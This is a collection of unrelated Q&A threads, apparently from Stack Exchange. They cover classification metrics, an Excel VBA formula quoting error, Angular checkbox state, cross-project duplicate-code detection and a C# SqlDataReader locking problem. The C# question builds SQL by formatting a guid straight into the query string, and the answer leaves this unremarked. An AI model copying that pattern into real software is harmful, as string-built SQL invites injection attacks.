However, PHP 7.3 is no longer supported, so if you really need that version for some reason, you will need to find an appropriate download in the release archive page. It would obviously be generally preferable to use a version which is still actively supported, but I realise there are sometimes reasons it's not as simple as that.


text:
Q: Which evaluation metrics are mutually redundant? Suppose we are given a confusion matrix for a binary classification:

*

*tp, fp

*fn, tn

Now, there are lots of evaluation metrics:

*

*POD (probability of detection, aka hit rate, sensitivity, recall, true positive rate) = tp/(tp+fn)

*Precision = tp/(tp+fp)

*FAR (false alarm rate) = fp/(tp+fp)

*CSI (critical success index) = tp/(tp+fn+fp)

*POFD (probability of false detection) = fp/(tn+fp)

*ACC (accuracy) = (tp+tn)/(tp+tn+fp+fn)

*PAG (cant remember)= 1 - fp/(tp+fp)*1

*F1 = (2*tp/(2*tp+fp+fn))*1

*ROC-AUC (area under curve)  = (tp/(tp+fn)+(1-fp/(fp+tn)))/2

*SPEC (specificity) = tn/(tn+fp)

*MCC (Matthews Correlation Coefficient) = (tp * tn - fp * fn) / np.sqrt((tp + fp) * (tp + fn) * (tn + fp) * (tn + fn))

Obviously the list could be extended. However, the question is how does one metric relate to the other? Specifically, if one increases, does the other one always increase/decrease?
If the answer is yes, which ones are redundant, i.e. mutually complementary?
On a side note, is choosing just one enough/not enough? How do we know that?

A: I am not aware of any specific redundancies between the metrics you mention.
They do have one commonality, though: most of them are improper scoring rules, can lead to bogus results (especially, but not only, in the case of unbalanced classes), and should not be used. See, for instance:

*

*Why is accuracy not the best measure for assessing classification models? - Everything noted here also applies to the other metrics

*Classification probability threshold
The one exception is AUC or AUROC, which is at least semi-proper:

*

*What does it mean that AUC is a semi-proper scoring rule?

*Why is AUC higher for a classifier that is less accurate than for one that is more accurate?

Frans Rodenburg asks a very good question in the comments:

Since you mention most should not be used, do you think it is better to use none of those, rather than multiple at once (each of which might highlight different aspects of the model's performance)?

Using multiple measures can run into a kind of schizophrenia. We typically want to use these metrics to pick the best performing algorithm, but what do we do when one algorithm is "best" on metric A, but another one is "best" on metric B? Plus, the incoherence increases when we realize that most algorithms use a completely different metric during training than we might use in evaluating their performance.
I recently commented on this incoherence in the context of time series forecasting (Kolassa, 2019, International Journal of Forecasting).
So my recommendation would be to use none of the above. In particular, we should not calculate binary classifications. Instead, we should aim for full probabilistic predictions and assess these using proper scoring rules. (I go into more details in my answer to the first two threads linked above.)
Of course, we now have the question of which proper scoring rule to choose, since there are multiple ones. Merkle & Steyvers (2013, Decision Analysis) investigates this question.


text:
Q: Iferror formula wont work cause of the "" in the replace arguement, nothing is working I copied precisely the codes from MSDN:
sample-user-defined-function-to-hide-formula-errors-in-excel
The formula I'm trying to put in a range of cells is:
  Selection = "=IFError(INDEX(Data_Import!$B$2:$R$16, MATCH(Reg!$B4,
   Data_Import!$A$2:$A$16,0),Reg!C$3), "n/a" )"

But I am getting an error message in the syntax

Compile error:
Expected: end of statement

what am I doing wrong?
my sub code is:
Sub PresentDat(Wks As Integer)
Dim x, LenWks As Long
Dim Y As Variant
Worksheets(5).Activate
    Range("B26").CurrentRegion.Select
        x = Selection.Columns.Count - 1
Worksheets(Wks).Activate
    Sheets(Wks).UsedRange.Find("Element").Select
        LenWks = Range(Selection, Selection.End(xlDown)).Rows _
            .Count - 1 Selection.Offset(1, 1).Resize(LenWks, x).Select
Selection.Formula = "=INDEX(Data_Import!$A$1:$R$65,
MATCH($B23,Data_Import!$A$1:$A$65,0), COLUMN(C23)-1)"
    Sheets(Wks).UsedRange.Find("No.").Select
        LenWks = Range(Selection, Selection.End(xlDown)).Rows _
            .Count - 4
Selection.Offset(1, 1).Resize(LenWks, x).Select
Selection = "=IFError(INDEX(Data_Import!$B$2:$R$16, MATCH(Reg!$B4, Data_Import!$A$2:$A$16,0),Reg!C$3), )"

End Sub

I just can't get it to put in the error message I want in the cells, :c . .
Thanks!

A: In terms of the top formula shown you need to escape the inner "" with "" so the entire formula doesn't thrown an error i.e.  ""n/a""
= "=IFError(INDEX(Data_Import!$B$2:$R$16, MATCH(Reg!$B4,Data_Import!$A$2:$A$16,0),Reg!C$3), ""n/a"")"


text:
Q: Keep checked checkboxes after refresh I have an array of users and one checkbox per user, if I check it, the user gets a new status. I can't keep them checked if I refresh the browser tab. I can't use radio button in this case. If I add a foreach it works but all the checkboxes are checked
HTML

          <input
            class="check-btn"
            type="checkbox"
            name="premium"
            [checked]="checked"
            [ngModel]="checked"
            (click)="
              eventChecked($event.target.checked ? '1' : '0', user.id)
            "
          />

        {{ user.name }}

TS
  users: IUser[];
  checked: any;

  constructor(
    private userService: UserService,

  ) {}

  ngOnInit(): void {
    this.getUsers();
  }

  getUsers() {
    this.userService.getUsers().subscribe(
      (data) => {
        this.users = data;
        console.log(data);
        this.users.forEach(e => {
        if(e.premium == 1){
          this.checked = true;
          console.log(this.checked);
         }
       });
      },
      (error) => {
        console.log(error);
      }
    );
  }

  eventChecked(event: any, id: number) {
    console.log(id, event);
    this.checked = true;
    this.userService.editUser(event, id).subscribe();
  }

EDIT
One of them isn't premium but both are checked.

I want only to have checked the premium user.

A: I think you see that all are checked if one of them are checked because the model does not account for different users.
Try changing the checked variable to take the user's id as a key
checked: {[userId:string]: boolean} = {};
The key (userId) is of type string, and the value is boolean. e.g. checked can be: {someUserId1: false, someUserId2: false, someUserId3: true};
Meaning something like this:
HTML

              <input
                class="check-btn"
                type="checkbox"
                name="premium"
                [checked]="checked[user.id]"
                [ngModel]="checked[user.id]"
                (click)="
                  eventChecked($event.target.checked ? '1' : '0', user.id)
                "
              />

            {{ user.name }}

TS
users: IUser[];
  checked: {[userId:string]: boolean} = {}; // the key is of type string, and the value is boolean. e.g. checked can be: {someUserId1: false, someUserId2: false};

  constructor(
    private userService: UserService,

  ) {}

  ngOnInit(): void {
    this.getUsers();
  }

  getUsers() {
    this.userService.getUsers().subscribe(
      (data) => {
        this.users = data;
        console.log(data);
        this.users.forEach(e => {
        if(e.premium == 1){
          this.checked[e.id] = true;
          console.log(this.checked);
         }
       });
      },
      (error) => {
        console.log(error);
      }
    );
  }

  eventChecked(event: any, id: number) {
    console.log(id, event);
    this.checked[id] = true;
    this.userService.editUser(event, id).subscribe();
  }

I have not tested the code as it is, and you may have to modify it.


text:
Q: CPD / PMD between projects? I am rephrasing this question to make it a little more straightforward and easy to understand, hopefully.
I have roughly 30 components (internal) that go into a single web application.  That means 30 different projects with their own separate POM.  I use inheritance quite a bit in my POMs so one of the things they inherit is a PMD/CPD configuration to prevent code duplication.
Even though I have CPD/PMD running, it only detects duplicate code within the same project.  I would like it to detect in any of my projects if there is code shared among the projects that can be refactored out.  Moreover, I was looking for something that could (using the same concept/pattern) verify that no code is shared between other open source dependencies.
It would be CPD/PMD, except it would operate on the source jars.  This task would consume a large amount of memory if you scan all projects and their dependencies for duplication.  Right now, I would just like to apply that to internal projects.  If it works, then it would be relatively easy/straightforward to scale that out.
Walter

A: I'm not sure I got everything but...
I'd create an aggregating module with all projects as dependencies, use the maven-dependency-plugin and it's unpack-dependencies mojo to get all dependencies sources jar (the mojo can take a classifier as parameter) and unpack-them (maybe in target/generated-sources/java, the maven build helper plugin may help here) and finally run pmd:cpd on the whole source base.
This may need some tweaking, I didn't test this at all.

A: It sounds like you want to find duplicate code anywhere in your 30 projects.  I can't speak for PMD; I assume you tell it to make one giant project containing all the source files from the union of the projects.  But yes, this would take a lot of RAM and CPU.
Another tool that does is the Java CloneDR.  The CloneDR finds duplicate code whether it is exactly the same or close (e.g., a few edits) regardless of source code layout or intervening comments.   It is pretty easy to set it up to process all the files in your set of projects.

A: Just run PMD:CPD as a stand-alone program. All it needs is a directory, and it will recurse. At least, it did for me.  I moved all my source to one directory and ran the CPD gui from the batch file distributed with PMD-4.2.5 .

A: You can perhaps take a look at sonar :

Sonar-CPD engine that is much more scalable and can detect cross-projects duplications.

A: You can try Lizard for Python.
It doesn't work on source jars, though.
"Code Duplicate Detector
lizard -Eduplicate {path to your code}"
https://pypi.org/project/lizard/
PMD/CPD provides more granularity since it allows the user to specify the number of tokens before a block of code is flagged as duplicate.
https://pmd.github.io/latest/pmd_userdocs_cpd.html#cli-options-reference


text:
Q: SqlDataReader and concurrency/deallocation issues Running the below code is giving me an error:
.NET Framework execution was aborted by escalation policy because of out of memory.
System.InvalidOperationException: There is already an open DataReader associated with this Command which must be closed first.
I have the following code all over the place to run my sql:
sql.Append(string.Format("SELECT TableId FROM ps_SavedTables WHERE guid = '{0}'", guid));

    using (IDataReader reader = SqlHelper.GetDataReader(sql.ToString())) {
        if (reader.Read()) {
            result = reader.IsDBNull(0) ? string.Empty : reader[0].ToString();
        }
        //CDW added to close SqlDataReader
        reader.Close();
    }

The GetDataReader is defined by this:
public static SqlDataReader GetDataReader(string sql, string connectionString) {
    lock (_lock) {
        SqlConnection connection = null;
        try {
            connection = GetConnection(connectionString);
            //connection.Open();
            using (SqlCommand cmd = new SqlCommand(sql, connection)) {
                WriteDebugInfo("GetDataReader", sql);
                return cmd.ExecuteReader(CommandBehavior.CloseConnection);
            }
        }
        catch (Exception e) {
            if (connection != null)
                connection.Dispose();
            throw new DataException(sql, connectionString, e);
        }

    }
}

A: The lock needs to be at the reader level... Multiple threads are opening readers